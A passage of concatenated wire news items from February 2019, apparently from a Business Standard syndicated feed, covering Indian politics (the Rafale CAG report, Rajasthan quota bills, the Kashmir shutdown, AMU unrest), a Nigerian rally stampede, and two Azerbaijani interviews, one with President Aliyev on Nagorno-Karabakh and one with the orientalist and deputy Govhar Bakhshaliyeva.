Once ready, the standardised size chart will impact various other sectors like automotive, aerospace, fitness and sport, art and computer gaming, where insights from this data can produce ergonomically designed products, which are suited for the domestic population.

A large percentage of shoppers face difficulty in finding clothes that fit perfectly according to their body measurements, as there is no standard size chart at present.

Moreover, there are differences in anthropometric built of people in different geographical regions across the country.

Till date 14 countries have successfully completed national sizing surveys: the US, Canada, Mexico, the UK, France, Spain, Germany, Korea, China and Australia.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Normal life was hit in Kashmir on Wednesday due to a shutdown called by separatists to protest against the legal challenge to Article 35-A and Article 370 of the Constitution, which grant special privileges to Jammu and Kashmir.

Petitions have been filed in the Supreme Court, challenging the constitutional validity of the articles.

The two-day shutdown, which began on Wednesday, has been called by the Joint Resistance Leadership, comprising Syed Ali Geelani, Mirwaiz Umar Farooq and Yasin Malik.

Shops, fuel stations and other business establishments were shut in Srinagar, the state's summer capital, while public transport was off the roads, official said.

However, private vehicles could be seen plying in several areas of the city, they said.

The separatists, under the banner of JRL on Tuesday called for the shutdown, saying the legal challenge to the articles is an "extremely critical issue" of the very existence as a people and of "our disputed status".

The officials said reports of shutdown were received from other district headquarters in the Valley.

Articles 35-A and 370 grant special status to Jammu and Kashmir and special rights and privileges to its "permanent residents", respectively.

The JRL in a statement has said,People of Jammu and Kashmir will forcefully resist every challenge by New Delhi to change the demography of the state by rolling back hereditary state subject laws of 1927 (protected by Article 35-A of the Constitution), being contested in the Supreme Court of India through their agents."



They warned the authorities that "if anything adverse to the interests of the people of J-K and its disputed status is announced through the courts, a mass people's agitation will be started instantly across the state and the responsibility of the consequences of that will be entirely on those forcing us to react".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Disgruntled BJP lawmaker Shatrughan Sinha joined a rally of opposition leaders here on Wednesday and took a jibe at Prime Minister Narendra Modi, asking would his "56-inch chest" reduce in size if he spoke on the Rafale issue.

On a day when the CAG report on the 2015 Rafale fighter jets deal was tabled in Parliament, Sinha said Modi should speak the truth on the agreement between India and France, because as prime minister, he was accountable to the nation.

"Why cannot he reply to the nation, will his 56-inch chest squeeze to six-inch?," he asked.

The filmstar-turned-politician even egged on the crowd on the issue, as they chanted, "Chowkidar Chor Hai".

The Congress and its chief Rahul Gandhi have used this slogan to target Modi over the Rafale issue and Sinha's participation and comments at the opposition rally may lead to more bitterness between him and the ruling BJP.

The rally was hosted by the Aam Aadmi Party (AAP) at Jantar Mantar here, during which leaders of various opposition parties, including Delhi Chief Minister Arvind Kejriwal and his West Bengal counterpart Mamata Banerjee tore into Modi and the BJP, saying the two should be "ousted" in the upcoming Lok Sabha polls as they were a "threat" to democracy and constitutional values.

Sinha, the MP from Patna Sahib in Bihar, joined the rally mid-way and trained his guns at his own party's government at the Centre.

"I give my wholehearted support to this (rally). It is not about a friend, it is about saving the country. For me, the party is above me, but the country is above the party," he said.

There was a "huge gulf" between promises made and the performances of the ruling party, Sinha added.

"If farmers are suffering, institutions are facing a crisis and people are facing political vendetta...should we stay mum? I did not join for selfish reasons," he said.

Taking a dig at the prime minister, Sinha said in 2014, a "Modi wave" was projected as "not just a ray of hope, but a beam of light".

"They say there was a Modi wave in 2014. Then, why did Arun Jaitley lose (the polls) from Amritsar? But, he was rewarded with four ministries in the cabinet," he added.

Sinha also alleged that "sycophants are lined up and paeans being sung.

He also criticised the electrification scheme of the Centre, promises made to farmers and assurances of jobs to the youth.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Several people were killed Tuesday when a stampede erupted at a campaign rally of Nigerian President Muhammadu Buhari days ahead of general elections, his office said.

The president "has just been informed of the tragic deaths of several members of his All Progressives Congress (APC) party in a stampede during a presidential rally held in Port Harcourt in Rivers State," it said in a statement released late Tuesday.

Local media said panic broke out at the end of the gathering, held inside the Adokiye Amiesimaka Stadium, when crowds tried to force their way through a locked exit.

"Those from behind were pushing and putting pressure on those in front leading to some persons falling on the ground and being trampled upon," said journalist Egufe Yafugborhi of the Vanguard newspaper.

The incident claimed at least 14 lives, according to a spokesman for the University of Port Harcourt Teaching Hospital.

"There are others under medical attention at the Emergency Unit, so we can't force a clear figure beyond what the situation is at the moment," Kem Daniel-Elebiga told AFP.

Saturday's election in Africa's most populous country will see Buhari stand for a second four-year term against former vice-president Atiku Abubakar in what is expected to be a close race.

In recent weeks, tensions have risen between the APC and Abubakar's People's Democratic Party (PDP).

The PDP has accused the government of seeking to rig the vote while the APC has said the opposition party is fomenting unrest.

Five people were killed during weekend clashes between supporters of the two main political parties in the southeast, police had confirmed on Monday.

The victims, all APC members, were shot and killed on Sunday in an apartment in Effurun, near the oil city of Warri, said Delta state police spokesman Andrew Aniamaka.

The US, Britain and the European Union have in recent weeks publicly warned against vote-rigging and election violence, and also expressed concern over Buhari's suspension of Nigeria's top judge last month.

Nigeria's last election in 2015 was considered free and fair, but state and local elections as well as earlier presidential polls have been marred by violence and fraud allegations.

Compared to that vote, international interest in Nigeria's election has been muted as the US administration focuses on domestic issues and Britain wrestles with its impending exit from the EU.

A British colony until 1960, Nigeria is an ally of both countries which are home to large Nigerian diaspora communities.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Security was beefed up at the Aligarh Muslim University (AMU) after some students and a TV channel crew got into an altercation over reports of a visit by AIMIM lawmaker Asaduddin Owaisi, police said Wednesday.

As many as 12 students, including the university's students' union chief, were booked under sedition charges after a complaint of alleged assault was filed by an ABVP member. Following this a "boycott class" call was given.

The main approach road leading to the university campus at IG Khan crossing was closed by the police as a precautionary measure.

Official sources said internet services will be off in city as a precautionary measure.

Rapid Action Force was also deployed around the campus amid other protests, including one in which a motorcycle belonging to a ABVP member was set on fire, a senior police officer said.

It was not immediately clear if this incident was also related to Owaisi's visit.

ABVP activists staged a protest near the Faiz Gate of the university after some media reports claimed the AIMIM leader was invited to address a function organised by the AMU Students' Union Tuesday.

They demanded that he be banned from entering the campus. Owaisi, however, did not turn up.

An AMU spokesman said a TV channel team, which had come to cover the anticipated event, had an altercation with some students while they were filming inside the campus.

The spokesman said the channel had not sought permission from authorities for live coverage and when university staff pointed this out, there was a heated exchange in which some students were also involved.

Media persons claimed they were roughed up by some students while they were filming on the campus and their camera was smashed.

Complaints were lodged at the Civil Lines Police Station, by both the AMU authorities and the TV channel crew.

A complaint was also filed by some Akhil Bharatiya Vidhyarthi Parishad (ABVP) members, who alleged that they were beaten up near the Faiz Gate and a motorcycle, belonging to one of them, was set on fire.

Senior Superintendent of Police Akash Kulhari told PTI that a number of complaints were given by different groups at the Civil Lines police station and the police were still in the process of filing these reports.

Meanwhile, a large group of students of the university gathered at Bab-e-Syed Gate, demanding the suspension of Ajay Singh, a prominent ABVP leader who is a postgraduate student in the Faculty of Law.

He is the grandson of BJP MLA Dalvir Singh.

Late last night, cases under sections 124-A (sedition), section 307 (attempt to murder) and eight other sections of the IPC have been registered against 12 students, including the president of students' union Salman Imtiaz and vice president Union Huzaifa Aamir on the complaint of ABVP activist Mukesh Lodhi.

He alleged that while he was driving across the AMU circle, these students surrounded him and launched a "murderous assault" and raised pro-Pakistan slogans.

Meanwhile, police confirmed that two more complaints were received at Civil Lines police station on behalf of AMU students and AMU officials.

He said these reports were being examined and FIR will be filed "after due investigation".

AMU has issued an advisory to students, asking them "not to move out of campus as a precautionary measure".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Winter vacations in schools in Multhan sub tehsil of Himachal Pradesh's Kangra district have been further extended by five days due to damaged roads after heavy snowfall last week, an official said Wednesday.

The schools which were to reopen on Wednesday will now start from February 18, he said.

In his order, Kangra District Magistrate Sandeep Kumar said the schools in Multhan sub tehsil would now remain closed till February 17.

The decision to again extend the school holidays was taken in the interest of safety of the students and staff as several roads had been damaged after heavy snowfall last week, Kumar added.

In his earlier order issued on February 10, he extended the winter vacation of Multhan schools by two days.

Similarly, Kullu District Magistrate Yunus had extended schools' winter vacations by four days on Tuesday, following prediction of heavy rain and snowfall.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Supreme Court on Wednesday directed the Uttar Pradesh government to submit a vision document for protection and preservation of the Taj Mahal in Agra within four weeks, saying it was difficult to proceed in the matter without it.

A bench comprising justices S A Bobde and S K Kaul also asked the Centre to place before it in eight weeks time a report on declaring Agra a heritage city.

The vision document is being prepared by the Delhi School of Planning and Architecture for the UP government.

On September 25, 2018, the apex court had extended till November 15 the time for the Uttar Pradesh government to come out with the vision document on protecting the 17th century monument and had asked it to consider declaring a portion of the area surrounding it as 'heritage'.

But as the state government did not file the vision document, the apex court on Wednesday said it was difficult to proceed in the matter and granted it four weeks to complete it.

The apex court had earlier asked authorities to take a larger perspective on issues of pollution and green cover while preparing the vision document, saying there will be no second chance to preserve the Taj Mahal.

While observing that the Taj Mahal would "of course be the centre piece" of the matters to be considered, the apex court had said other issues like vehicular traffic, pollution from the industries operating in the Taj Trapezium Zone (TTZ) and the water level of the Yamuna river should also be looked into while preparing the document.

The TTZ is an area of about 10,400 sq km spread over the districts of Agra, Firozabad, Mathura, Hathras and Etah in Uttar Pradesh and the Bharatpur district of Rajasthan.

Environmentalist M C Mehta, the petitioner in the case relating to the protection of Taj Mahal, had told the court that green cover in the area has reduced and there were encroachments inside and outside the Yamuna flood plains.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Azerbaijani President Ilham Aliyev, speaking in an interview with Real TV about the Nagorno-Karabakh conflict, said that he is "absolutely convinced that if Heydar Aliyev had been the President of Azerbaijan in the first years of independence, our territories would never have been occupied." I am completely confident about it, he stressed.

"Unfortunately, those who led Azerbaijan at that time could not realize their responsibility to protect our country's interests. In particular, the alliance of Azerbaijani Popular Front Party(AKC)-Musavat, which came to power as a result of the coup in 1992, and its traitorous policy became the main factor which led to the occupation. At that time, there was a struggle for power, and on the eve of the coup, Shusha and Lachin were occupied. In April 1993, Kalbajar was occupied, thus there was a geographic connection between Nagorno-Karabakh and Armenia," he recalled.

"Heydar Aliyev would never allow it to happen, because his policy, determination, people's faith in him would never allow our territories to be occupied. The Nagorno-Karabakh conflict and the occupation of our territories, more than a million refugees and displaced people is the legacy of the AKC-Musavat alliance," Ilham Aliyev noted.

"Today, Azerbaijan has an advantage both at the negotiating table and on the battlefield. In recent years, we have created a powerful legal basis for resolving the conflict. Many influential leading international organizations of the world have adopted resolutions, reflecting the truth, supporting our position, The UN General Assembly, even earlier - the Security Council, the OSCE, the Non-Aligned Movement, the Organization of Islamic Cooperation and other organizations, the President of Azerbaijan drew attention.

"The document on partnership priorities, signed between the European Union and Azerbaijan, expressed support for our territorial integrity, sovereignty, inviolability of borders. That is, it creates a legal basis for resolving the conflict. We all know that Nagorno-Karabakh is an integral part of Azerbaijan. The settlement of the conflict is possible only within the territorial integrity of our country," he said.

"At that time, having created a powerful economic potential, we formed a strong army. Today, the Azerbaijani army is one of the strongest armies in the world. Our combat capability is growing. We equip our army with the most modern equipment. The April battles demonstrated our strength. By conducting a counteroffensive operation from the worst military positions, we took strategic heights. We liberated our territories from invaders. Today the Azerbaijani flag flutters in Agderinsky, Fizuli, Jebrail districts. The April battles are our glorious historical victory. Being in Leletepe, seeing the flag of Azerbaijan there, I feel proud. Every citizen of Azerbaijan feels proud," Ilham Aliyev said.

"Our soldiers and officers showed real heroism. The April battles are a historical event. They dispelled the myth that Armenia has been creating for years. That is, the Armenians tried to form such an opinion that their army was supposedly strong and invincible. Azerbaijani soldiers and officers showed whose army is really strong and invincible. This myth was scattered to pieces. The April battles increased our national spirit, raised it to the heights. Therefore, this event once again shows that the Azerbaijani people and the state will never reconcile with the occupation," the President of Azerbaijan stressed.West Bengal minister Suvendu Adhikary Wednesday said saving wetlands was the topmost priority of the state government.

He said 12,500 hectares of wetlands was protected in recent times by the state government.

"Our team keeps regular tab on existing wetlands as part of the mission to save water bodies and we take the help of police in this drive," Adhikary told reporters on the sidelines of a seminar organised by West Bengal Bio-diversity Board.

He said two-three constructions on wetlands had been raged down in recent months in the city and surrounding areas.

To a question about the fate of a proposed six-km flyover project over part of East Kolkata Wetlands, which was opposed by a section of environmentalists, Adhikary said "the new committee on wetlands, with me as the Chairman, will take up the issue at our first meeting very soon."



"One thing is sure, we will not do anything which will cause any damage to our water bodies," he said.

The minister said the department has already formed 432 block management committees (BMC) across the state where the members will campaign in their respective areas to save wetlands and the target was forming 467 BMCs.

Asked about the rise in air pollution in the city, the minister said fluctuation of air quality index during winter has been a typical phenomenon for past 25 years "and there is no need to trigger the alarm button."



He said while Particulate Matter 10 and Particulate Matter 2.5 fluctuated over alarming level at certain times in this season, the NO2 and SO2 levels were "much lower but not certainly within permissible limits always.""This can be fought at certain levels including extensive tree plantation apart from stopping over 15 year old vehicles from entering city and taking certain measures during construction activities which we have already undertaken," he said.

The minister said the department will encourage schools to paint pictures of bio-diversity on their walls and 10 schools have already responded to the initiative.

"We will also encourage forming bio-diversity clubs at schools and the state bio-diversity board will provide all logistics and infrastructural support in this regard," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Pakistan on Wednesday said that Saudi Crown Prince Mohammad bin Salman will arrive in Islamabad on Saturday on a two-day visit during which a number of agreements worth billions of dollars investment in the country would be signed.

Pakistan and Saudi Arabia are likely to sign over USD 10 billion investment agreements, including a multibillion dollar oil refinery in Gwadar, during his visit.

Mohammad, who is also the Gulf Kingdom's vice president of the council of ministers and defence minister, will arrive here on February 16 on his first state visit to Pakistan since his elevation to the position of the crown prince in April 2017, the Foreign Office said.

He will be accompanied by a high-powered delegation including members of the royal family, key ministers and leading businessmen.

During his visit, Pakistan and Saudi Arabia will be signing a number of agreements and MoUs in diverse sectors, including investment, finance, power, renewable energy, internal security, media, culture and sports, it said.

The two countries will also discuss ways and means to develop a robust follow-up mechanism to ensure effective implementation and quick progress on tangible areas of cooperation.

The crown prince will call on President Arif Alvi. He will also meet Prime Minister Imran Khan and Army Chief Qamar Javed Bajwa.

The Saudi ministers accompanying the crown prince will meet their counterparts to discuss bilateral cooperation in their respective fields.

On the sidelines of the visit, businessmen of the two countries will also meet to discuss opportunities of collaboration in the private sector.

Saudi Arabia has committed USD 6 billion to Pakistan as part of a bailout package to help shore up Islamabad's dwindling foreign currency reserves.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)There was no change in price of the 'flyaway aircraft package' in the Rafale fighter jet deal finalised by the NDA government in comparison to the one negotiated by the UPA, a Comptroller and Auditor General (CAG) report has observed.

Of the 11 counts, there was no change in the price under four heads, which included flyaway aircraft package, simulator training aids and annual maintenance.

In earlier media reports, Dassault Aviation CEO Eric Trappier had claimed the flyaway aircraft were cheaper in the new deal than what was negotiated by the United Progressive Alliance (UPA) government.

The price under three heads -- weapons package and services (-1.05 per cent), products-operational support equipment (OSE) and technical assistance, documentation, and programme managements (-4.77 per cent) and India Specific Enhancements (-17.08) -- was lower in the deal finalised by the National Democratic Alliance (NDA) government, the CAG report said.

Three heads saw an increase in price -- training of pilots and technicians (2.68 per cent), engineering support package (6.54 per cent) and performance based logistics (6.54 per cent) -- in the new deal struck by the NDA, the report said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Senior Shiromani Akali Dal leader from Chandigarh Gurpartap Singh Riar on Wednesday resigned from the party and joined the recently floated SAD (Taksali).

Riar, vice president of SAD's Chandigarh unit, joined the Taksali outfit in the presence of its chief Ranjit Singh Brahmpura, who is sitting MP from Khadoor Sahib.

Speaking on the occasion, SAD (Taksali) senior leader Sewa Singh Sekhwan said that "exodus" of senior leaders from SAD led by Sukhbir Singh Badal continues.

He said that the Taksali Akalis (old guard) had raised their voice against SAD's alleged deviation from its "panthic agenda".

Sekhwan said the voice of the Taksalis was not being heard in the SAD, which he claimed was being controlled by the Badal family.

"Several senior leaders are not happy with the way SAD is functioning at present. No senior leader leaves a party, which he has served for years, just on a minor issue. The fact that it is not just one or two such leaders, but several who have left SAD, which clearly indicates that all is not well in that party," Sekhwan told reporters here.

Brahmpura blamed SAD president Sukhbir Singh Badal for the mess which the nearly century-old party finds itself in.

Meanwhile, Riar alleged that senior leaders were feeling ignored in the SAD.

Riar, who also remained president of SAD's Chandigarh for several years in the past, said that he had joined the Taksali party "unconditionally".

Former Punjab Assembly Deputy Speaker Bir Devinder Singh, who recently joined SAD (Taksali), was on Wednesday appointed as senior Vice President and spokesman of the party.

A week ago, former Indian Army chief and former Governor Gen J J Singh had resigned from the SAD and joined the SAD (Taksali).

Brahmpura and some other Taksali Akalis (old guard) including Sekhwan, who had last year raised their voice against SAD's alleged deviation from its core principles, had floated a separate outfit in December.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)US Secretary of Commerce Wilbur Ross had to cancel his India visit for the India-US Commercial Dialogue and the CEO Forum on Thursday due to inclement weather that led to the cancellation of his flight.

Ross will now participate in both the meetings via video conference.

"Due to inclement weather, technical problems that led to the cancellation of his flight, and other logistical issues, Secretary Ross regrets he is no longer able to attend the CEO Forum and Commercial Dialogue in person," a US Commerce Department spokesperson said.

"He intends to participate in most of the sessions remotely and thanks our private sector and Government of India hosts for their continued partnership as we further strengthen the ties between our two countries," the spokesperson said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Congress president Rahul Gandhi on Wednesday wrote to HRD Minister Prakash Javadekar and urged him to revert to the system in which the college or the university was taken as a unit for the purpose of reservation.

Following an Allahabad High Court order - upheld by the Supreme Court - the University Grants Commission (UGC) had last year announced a new mechanism -- 13-point roster system -- for implementing faculty reservations, which was calculating total posts department-wise rather than institution-wise.

The adoption of the 13 point roster system in place of the 200 point roster system has "eroded" the spirit of reservation guaranteed under the Constitution, Gandhi said in his letter to Javadekar.

The departure from the 200 point roster system has led to widespread protests across the country and deserves urgent intervention, Gandhi said.

"You had recently stated in parliament that out of 158 faculty posts advertised by the central universities of Tamil Nadu, Rajasthan and Punjab, since March 5 2018, not even a single post was reserved for SCs and STs under the 13 point roster system. By your own ministry's admission, 43 posts would have reserved for SC/STs under the 200 point roster system," he said in the letter.

He urged Javadekar to restore the 200 point roster system.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Stating the importance of life-saving drug oxytocin for young mothers and obstetricians, the Indian Medical Association (IMA) has demanded a reconsideration of the government's policy which prohibits the import of the drug, and restricts its manufacture for domestic use.

The Union Health Ministry had exclusively handed over the production of oxytocin to Karnataka Antibiotics and Pharmaceuticals Limited (KAPL) after reports of misuse of the drug in the dairy sector came to light.

The IMA has claimed that KAPL does not have the experience or the capacity to handle such a huge responsibility.

"As per the company's record, any bulk production would take over four years, which raises questions whether a single public sector company is competent enough to supply the needs of the entire nation.

"IMA would hold the government responsible for shortages in oxytocin and unfortunate consequences," said R V Asokan, Honorary Secretary General of IMA and a medical practitioner.

IMA has no objections to KAPL for manufacturing oxytocin solely for veterinary purpose if indicated, but by curtailing the manufacturing of a life-saving drug will only create an artificial bottleneck and shortage, said Santanu Sen, National President of IMA.

"It (oxytocin) is listed in the essential medicines list of WHO. Restricting its manufacture to one company, could jeopardise the lives of many young mothers by increasing the incidence of hemorrhages post-child birth, leading to subsequent morbidity and mortality," Sen said.

Oxytocin is also provided to pregnant women during and post-child birth to control bleeding.

India accounts for 20 per cent of global maternal deaths with 56,000 casualties annually, the IMA said, adding that latest data suggests that postpartum hemorrhage (PPH) contributes around 22 per cent to the maternal mortality cases in India.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Congress government in Rajasthan has withdrawn an order passed by the state education department during the BJP regime last year for observing February 14, Valentine's day, as "Matra-Pitra Pujan Diwas".

Education minister Govind Singh Dotasara said that it was not appropriate to dedicate one day for giving honour to parents as they should be respected and given honour every day.

The education department had issued an order in April last year declaring that all government schools will observe February 14 every year as "Matra-Pitra Pujan Diwas from 2019.

The order had stated that parents would be honoured by their wards at the events in government schools.

Dotasara told reporters on Wednesday that the order issued by the former BJP government has been scrapped.

"Parents have highest place in our Indian culture and dedicating one day for giving them honour is inappropriate. They are given respect and honour always and every day so therefore the order has been withdrawn," Dotasara said.

BJP MLA and former education minister Vasudev Devnani, who had announced to observe the "Matra-Pitra Diwas" when he was the Education minister, alleged that Dotasara has termed the initiative by the former government as drama.

"I condemn the move of the government of withdrawing the order. This is the insult to parents," he said.

"It appears that he supports the kind of scenes which are created on Valentine's Day that is celebrated as per the western culture. They do not have faith in Indian culture and moral values," he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Rajasthan Assembly Wednesday passed a bill giving a five per cent quota in government jobs and educational institutes to the Gujjars and four other communities agitating for it.

The Gujjar protests led by community leader Kirori Singh Bainsla continued in the state for the sixth day even after the bill was passed.

Gujjar protesters have blocked the Delhi-Mumbai railway track in Sawai Madhopur district and several highways since Friday. Traffic is also held up on several roads in the state.

Bainsla said the community will wait for more clarity on the bill before calling off the stir.

The Rajasthan Backward Classes (Reservation of Seats in Educational Institutions in the State and of Appointments and Posts in Services under the State) (Amendment) Bill, 2019 was introduced by the new Congress government earlier in the day.

The bill sought to increase the backward classes' reservation from the present 21 per cent to 26 per cent with a five per cent quota for Gujjars, Banjaras, Gadia Lohars, Raikas and Gadaria communities.

The statement on the objective and reasons for the bill said the five castes are the most backward and required separate reservation in government jobs and educational institutes.

We will remain on dharna till there is clarity that the bill passed in the assembly is legally sound, Bainsla said.

It is a sacred document for us and we will take the next decision only after taking the opinion of intellectuals of the community working in different fields, he added.

A North Western Railway spokesperson said two trains were cancelled Wednesday due to the dharna.

While introducing the bill, Rajasthan Energy Minister Kalla said the Centre has provided only 27 per cent reservation for the backward classes while their proportion in the population is 52 per cent.

Since the population of backward classes in Rajasthan is estimated by the State Backward Classes Commission to be about 52 per cent, the percentage of reservation for them needed to be increased, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Rajasthan Assembly Wednesday passed a bill giving a five per cent quota in government jobs and educational institutes to Gujjars and four other communities agitating for it.

The Congress government introduced the bill amid protests in the state led by Gujjar leader Kirori Singh Bainsla for reservation for the community.

His supporters have blocked the Delhi-Mumbai railway track in Sawai Madhopur district and several highways since Friday.

The bill sought to increase the backward classes' reservation from the present 21 per cent to 26 per cent with a five per cent quota for Gujjars, Banjaras, Gadia Lohars, Raikas and Gadaria communities.

The statement on the objective and reasons for the bill said the five castes are the most backward and required separate reservation in government jobs and educational institutes.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Deputy of the Milli Majlis, director of the Institute of Oriental Studies of the Azerbaijan National Academy of Sciences, editor-in-chief of 'Azerbaijan Oriental Studies' and 'Oriental Studies' journals, chairman of the Dissertation Council for 'Literature of Turkic Peoples' and 'World Literature', full-fledged member of the National Academy of Sciences of Azerbaijan and the International Academy of Sciences (Innsbruck, Austria) - and this is hardly a complete list of achievements of famous Azerbaijani Orientalist Govhar Bakhshaliyeva.

Govhar Bakhshaliyeva was born on November 26, 1954. She went from a senior laboratory assistant to the director of the Institute of Oriental Studies of ANAS. Govhar Bakhshaliyeva told Vestnik Kavkaza in an exclusive interview about the Republic of Azerbaijan's gender policy and explained why an Azerbaijani girl needs a degree.

- Your biography may be a guide for many Azerbaijani girls. Over the years, you have successfully combined scientific and social activities. Is it difficult to be a female leader, a female deputy in Azerbaijan?

- Any woman, in whatever country she lives, has certain obligations to the family. First and foremost, a woman is a wife and mother. She is a home keeper. However, in my opinion, if she has the potential, the necessary training, in order to lead, engage in social activities, her relatives should help her, create the necessary conditions for her personal fulfillment. A woman should feel the support of her family, in whatever office she takes.

With her family

- How do you feel about the fact that some husbands forbid their women from working after marriage?

- I think this is fundamentally wrong. After all, if a woman works, it is for the benefit of her family. She brings a certain income to the general family budget. However, if a man considers a womans work unacceptable in family life, he should warn his chosen one before their wedding, not after it. But I am convinced that a woman must receive an education and work.

- In recent years, more and more attention has been paid to gender policy in Azerbaijan. What are the results for today?

- In 2000, when I was first elected deputy, there were ten women in the country's parliament. But today, their number has doubled. Now one of the deputy heads in many executive bodies is a woman. Undoubtedly, women play an increasingly important role in the life of modern countries, of Azerbaijan, in particular.

- The prominent Azerbaijani philanthropist Zeynalabdin Tagiyev said that by educating a boy, you get one educated person, but by educating a girl, you get an educated family. Why do you think it is important for a girl to get a degree?

- I am convinced that the girl needs to get a degree. And if there is no such possibility, then at least secondary professional education, so that she could later, even in the worst case scenario, provide herself and her children, to be independent. A woman who depends on someone can be coerced to many things. Education makes a women feel independent, socially protected in her later life. I hope lives of all the girls to be good and they to be happy in marriage. But sometimes it doesn't happen. How many women abandoned by their husbands are forced to find a way to provide for themselves and their children. Sometimes women who are unable to find work because of a lack of a diploma or at least any professional skills that are taught in secondary specialized educational institutions are forced to take the wrong path.

My father always said that a girl needs education even more than a boy. Because in the worst case, a boy can be engaged in arduous physical work when he grows up. But a girl can't.

With her father Bakhshali Bakhshaliyev (on the left), her mother and uncle

- Your father Bakhshali Bakhshaliyev headed the Ministry of Finance of the Azerbaijan SSR in the 1970s-1980s. As a daughter of a minister, did you have any privileges or, on the contrary, did you feel a great responsibility?

- I had a very strict, demanding father. Therefore, like my brothers and sisters, I have always felt a great responsibility. My father brought up modesty in us, self-discipline, inculated a habit of daily hard work. I am sure that everything I have achieved is precisely because of this habit and self-discipline. Therefore, after years, I am especially grateful to my father for the qualities he brought up in me.

- Since 2000, you are a member of the Milli Majlis. Which problems currently facing the Azerbaijani society, in your opinion, should be given priority attention?

- The primary problem for us today, of course, is the restoration of the territorial integrity of Azerbaijan. The Milli Majlis delegation in the Parliamentary Assembly of the Organization of Islamic Cooperation, led by me, raises this issue each time at the international forums of this organization. For the last time, two resolutions, aimed against the Armenian aggression against Azerbaijan, were adopted thanks to our efforts at the 13th session of the Parliamentary Union, held in Tehran in January 2018. They, in particular, condemn the plundering and destruction of archaeological, cultural and religious monuments in the occupied territories of our republic.

Speech at the session of the Parliamentary Assembly of the Organization of Islamic Cooperation. Cairo

- You wrote sixteen books, four of which are monographs, and more than 200 scientific and popular science articles. What will be your next scientific work?

- At the moment I am working on the fourth volume of my book 'Articles, reports, interviews ...', two volumes of which were published in 2011, and the third is being published.

In the Milli Majlis vice speaker's office

- The year of 2019 has been declared the year of Nasimi in Azerbaijan. How do you think it will affect the promotion of the literary heritage of the great Azerbaijani poet?

- Our people have the richest culture, which has a long history. Already in the 12th century, Azerbaijani poets managed to create literary masterpieces in their native language, of which we are justly proud. At that time, such eminent poets as Nizami Ganjavi, Abul-Ala Ganjavi and Mahsati Ganjavi worked in Ganja alone. But many people at that time had just started to develop their writing, in languages which cannot be perceive by modern reader without special training. In my opinion, from early childhood our children should get acquainted with the works of Nizami, Fuzuli, Nasimi, with the high ideals of humanism brought to our lives by their works.

It is deeply symbolic that the year 2019 was declared by the president the Year of Nasimi, who played an exceptional role in the formation of the Azerbaijani language. Without any doubt, it testifies to the attention paid by the republics leadership to the preservation of the Azerbaijani literary heritage. With his creativity, Nasimi spiritualized a person, fought with cruelty and despotism, social injustice that reigned in society at that time. The Azerbaijani President's announcement of 2019 as the year of Nasimi will give a new impetus to the development of Nasimi studies and will promote the broad propaganda of humanistic values advocated by the poet both in our country and abroad.

The Milli Majlis delegation in Saudi Arabia, at the reception at the governor of Riyadh province Salman bin Abdulaziz al-Saud (now King of Saudi Arabia)

On the eve of March 8 holiday in Milli Majlis

With Academician-Secretary of ANAS Department of Social Sciences Nargiz Akhundova and Director of the Institute of Archeology and Ethnography of ANAS Maisa Rahimova

At the session of the Parliamentary Assembly of the Western European Union. ParisThe Rajasthan Assembly passed a bill Wednesday that allows a member of the state legislature to get elected and hold office of a Chairperson or a Vice-Chairperson of a cooperative society.

The Rajasthan Cooperative Societies (Amendment) Bill, 2019 was passed by the House by voice vote.

The Rajasthan government had promulgated an ordinance on December 26, 2018 and a bill replacing it was passed in the assembly Wednesday.

Replying on the bill, state Cooperative Minister Udai Lal Anjana said the Rajasthan Cooperative Societies Act, 2001 restricted a person to hold both the offices of a Chairperson or Vice-Chairperson of a committee of cooperative society and a member of the state legislature.

The government has decided to amend the Act to remove the said restriction, Anjana said.

Opposition members demanded referring the bill to the select committee for review, which was turned down by the Chair.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Rahul Gandhi and the BJP traded charges over the Rafale issue on Wednesday as the Congress chief claimed that a purported dissent note by some officials on the aircraft deal demolished Prime Minister Narendra Modi's claim of better pricing and faster delivery, while the ruling party cited the CAG report to assert that it had exposed his lies.

The BJP demanded that Gandhi withdraw his allegations against the Modi government and tender an apology in the light of the CAG report and an earlier Supreme Court order.

At a press conference, the Congress president dismissed the CAG report on the multi-billion-dollar pact as a "cover up" that was not worth the papers it was written on.

On the other hand, BJP leader and Union minister Ravi Shankar Prasad referred to the Supreme Court order, which said there was no occasion to doubt the Rafale jets purchase, to assert there was nothing left for Gandhi to question the deal, but he had been peddling lies and fake information by misrepresenting facts.

The CAG, in its report, had said the Modi government had secured a 2.86-per cent cheaper price for the Rafale fighter jets than what was negotiated by the previous UPA regime.

Stepping up his attack on the government within hours of the much-awaited Comptroller and Auditor General (CAG) report on the deal being tabled in Parliament, the Congress chief accused the Modi government of "lying".

Gandhi said even though he did not agree with the CAG's submission that the deal was 2.86-per cent cheaper than the UPA-era offer, but it "calls the bluff" of Modi, then finance minister Arun Jaitley and Defence Minister Nirmala Sitharaman, who "had lied to Parliament by stating that the price of the 'new deal' was 9-20 per cent lower".

On the India-specific enhancements, the CAG, in its 157-page report, said the NDA deal was 17.08 per cent cheaper than the one negotiated by the then UPA government in 2007, while the weapons package offered in the new deal was 1.05 per cent cheaper.

BJP ally Shiv Sena questioned the veracity of the CAG report, saying it could have been manipulated.

The Sena is the BJP's alliance partner in Maharashtra as well as at the Centre, though it frequently attacks the saffron party.

